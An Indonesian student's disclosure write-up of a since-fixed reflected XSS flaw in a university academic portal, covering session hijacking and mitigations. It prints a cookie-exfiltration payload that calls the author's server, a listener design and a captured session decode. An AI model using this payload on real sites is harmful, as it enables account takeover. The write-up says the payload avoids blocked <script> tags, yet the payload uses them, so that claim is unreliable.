Status: Fixed ✅ | Severity: Critical (P0) | Type: Reflected Cross-Site Scripting (XSS)
Target: siakad.thamrin.ac.id | Reported to: Pihak IT Universitas Mohammad Husni Thamrin
Author: Muhamad Raehan Ramadhan — Mahasiswa Informatika, Semester 2
Pada tulisan sebelumnya, kita sudah membahas bagaimana celah Reflected XSS bekerja melalui parameter URL yang tidak terfilter. Namun, muncul pertanyaan penting:
"Apa bahayanya jika penyerang hanya bisa memunculkan
alert(1)?"
Hari ini, saya akan membuktikan bahwa XSS bukan sekadar memunculkan kotak pesan — melainkan pintu masuk utama untuk melakukan Account Takeover (ATO) tanpa perlu mengetahui password korban sama sekali.
1. Kronologi Penemuan
Temuan ini saya dapatkan secara tidak sengaja saat menggunakan layanan SIAKAD sebagai mahasiswa. Saya menemukan bahwa pada mekanisme penanganan error di halaman pengubahan data mahasiswa, sistem sudah melakukan filter terhadap tag <script> — namun karakter pemutus (breaker) seperti "> dan atribut event handler lainnya belum disaring atau di-encode dengan benar.
Setelah menemukan celah ini, saya langsung melaporkannya kepada pihak kampus melalui jalur resmi sebelum melakukan eksploitasi lebih lanjut.
2. The Weapon: Payload Minimalis
Dalam skenario riset ini, saya menggunakan payload yang sangat ringkas untuk menghindari batasan karakter (limit characters) di sisi server. Payload ini tidak memicu kecurigaan visual karena memanfaatkan objek Image — bukan tag <script> yang sudah diblokir.
"><script>new Image().src="//raehan.my.id/x?c="+btoa(document.cookie)</script>
Mengapa Teknik Ini Sangat Efektif?
| Teknik | Penjelasan |
|---|---|
| Out-of-Band (OOB) | Data dikirim secara senyap melalui request gambar tanpa mengganggu alur halaman |
Base64 Encoding (btoa) |
Mengonversi cookie menjadi string aman agar karakter seperti ; atau = tidak merusak struktur URL |
Protocol Relative (//) |
Memastikan script berjalan otomatis baik di protokol http maupun https |
Filter Bypass (">) |
Keluar dari atribut HTML sebelum menyuntikkan script, melewati filter tag <script> |
3. Proof of Concept (PoC) — Video Demonstrasi
Untuk memberikan gambaran yang lebih jelas mengenai bagaimana serangan ini terjadi secara real-time, saya telah mendokumentasikan langkah-langkah eksploitasi — mulai dari pengiriman link manipulasi hingga berhasil mendapatkan akses akun korban.
🎬 Video PoC:
[Tonton di YouTube] → link
Video mencakup:
- Injeksi payload melalui parameter URL yang rentan
- Proses pengiriman cookie secara out-of-band ke listener
- Decode Base64 dan ekstraksi
PHPSESSIDdi terminal - Demonstrasi session hijacking menggunakan cookie yang didapat
4. The Listener: Infrastruktur Penangkap Data
Untuk menangkap data yang terkirim, saya membangun Listener menggunakan Astro JS yang di-deploy di atas Cloudflare. Data yang masuk diproses dan disimpan ke dalam Supabase.
Browser Korban
│
│ GET //raehan.my.id/x?c=BASE64_COOKIE
▼
Cloudflare Edge (WAF + Rate Limiting)
│
▼
Astro JS Endpoint (/x)
│
▼
Supabase Database (cookie tersimpan)
Security Hardening pada Listener
Meskipun ini adalah endpoint publik untuk keperluan riset, saya menambahkan beberapa lapisan keamanan untuk mencegah penyalahgunaan:
- Rate Limiting (Redis): Membatasi request maksimal 5 kali per menit per IP
- Cloudflare WAF: Mengaktifkan Managed Challenge jika terdeteksi aktivitas bot atau lebih dari 10 request per menit
- Method Restriction: Endpoint dikonfigurasi agar tidak merespons akses langsung melalui browser biasa
5. Eksfiltrasi: Mendapatkan "Kunci Emas"
Begitu korban membuka link yang sudah dimanipulasi, browser mereka akan mengeksekusi script dan mengirimkan cookie sesi secara otomatis ke server saya. Berikut contoh data mentah yang berhasil ditangkap di database:
{
"c": "UEhQU0VTU0lEPTM4am9kajltMjFoaTQxY25tdHB1aXI0dnAz...",
"_metadata": {
"method": "GET",
"referer": "https://siakad.thamrin.ac.id/",
"user_agent": "Mozilla/5.0 (X11; Linux x86_64; ...)"
}
}
Setelah dilakukan decode Base64 melalui terminal:
echo "UEhQU0VTU0lEPTM4am9kajltMjFoaTQxY25tdHB1aXI0dnAz..." | base64 -d
# Output: PHPSESSID=38jodjm21hi41cnmtpuir4vp3...
Inilah yang disebut dengan Session Hijacking — penyerang kini memegang kunci sesi yang valid dan dapat masuk ke akun korban tanpa melewati proses login sama sekali.
6. Analisis Dampak (Impact)
Temuan ini dikategorikan sebagai Critical (P0) karena memenuhi beberapa kriteria berikut:
🔴 Bypass Authentication
Tidak memerlukan kredensial user (username/password). Cukup dengan cookie sesi yang valid.
🔴 Skalabilitas Serangan
Link yang sama bisa dikirimkan ke banyak target sekaligus — misalnya melalui WhatsApp grup mahasiswa, email broadcast, atau posting di grup sosial media kampus.
🔴 Privilege Escalation
Jika korban adalah dosen, admin akademik, atau operator SIAKAD, seluruh sistem manajemen akademik kampus berada dalam risiko tinggi — termasuk data nilai, absensi, dan informasi pribadi mahasiswa.
🔴 Persistent Risk
Selama PHPSESSID belum expire dan HttpOnly tidak diaktifkan, cookie yang sudah dicuri tetap valid untuk digunakan.
7. Strategi Mitigasi
Bagi pengembang web, celah ini dapat ditutup dengan beberapa langkah berikut:
✅ Set Flag HttpOnly pada Cookie
Set-Cookie: PHPSESSID=xxx; HttpOnly; Secure; SameSite=Strict
Flag HttpOnly mencegah JavaScript membaca isi cookie — sehingga payload document.cookie tidak akan mengembalikan nilai apapun.
✅ Output Encoding yang Benar
Semua input pengguna yang akan ditampilkan kembali di halaman harus di-encode dengan benar:
// ❌ Rentan
echo $_GET['nama'];
// ✅ Aman
echo htmlspecialchars($_GET['nama'], ENT_QUOTES, 'UTF-8');
✅ Content Security Policy (CSP)
Tambahkan header CSP yang ketat untuk membatasi domain mana saja yang diizinkan memuat aset luar:
Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self'
✅ Filter Input Secara Komprehensif
Tidak cukup hanya memblokir tag <script>. Filter harus mencakup:
- Atribut event handler (
onerror,onload,onclick, dll.) - Karakter pemutus seperti
",',>,< - Protocol handler (
javascript:,data:)
8. Timeline Disclosure
| Tanggal | Kejadian |
|---|---|
| Maret 2026 | Celah ditemukan secara tidak sengaja saat menggunakan SIAKAD |
| Maret 2026 | Laporan dikirimkan ke pihak IT kampus melalui WhatsApp |
| Maret 2026 | Pihak IT mengkonfirmasi penerimaan laporan |
| Maret 2026 | Bug dikonfirmasi telah diperbaiki (fixed) |
| Maret 2026 | Write-up ini dipublikasikan dengan izin |
Kesimpulan
Riset ini membuktikan bahwa kerentanan yang terlihat "sepele" seperti Reflected XSS dapat berujung pada pengambilalihan akun secara penuh — bahkan terhadap sistem yang sudah memiliki filter keamanan dasar sekalipun.
Filter yang hanya menargetkan tag <script> adalah pendekatan yang tidak cukup. Penyerang berpengalaman dapat dengan mudah melewatinya menggunakan atribut event handler, karakter pemutus, atau encoding alternatif.
Seluruh temuan ini telah dilaporkan dan diperbaiki oleh pihak IT terkait. Write-up ini dipublikasikan semata-mata untuk tujuan edukasi dan peningkatan kesadaran keamanan siber di lingkungan akademik.
Stay Secure, Stay Informed.
Muhamad Raehan Ramadhan
Mahasiswa Informatika, Universitas Mohammad Husni Thamrin
raehan.my.id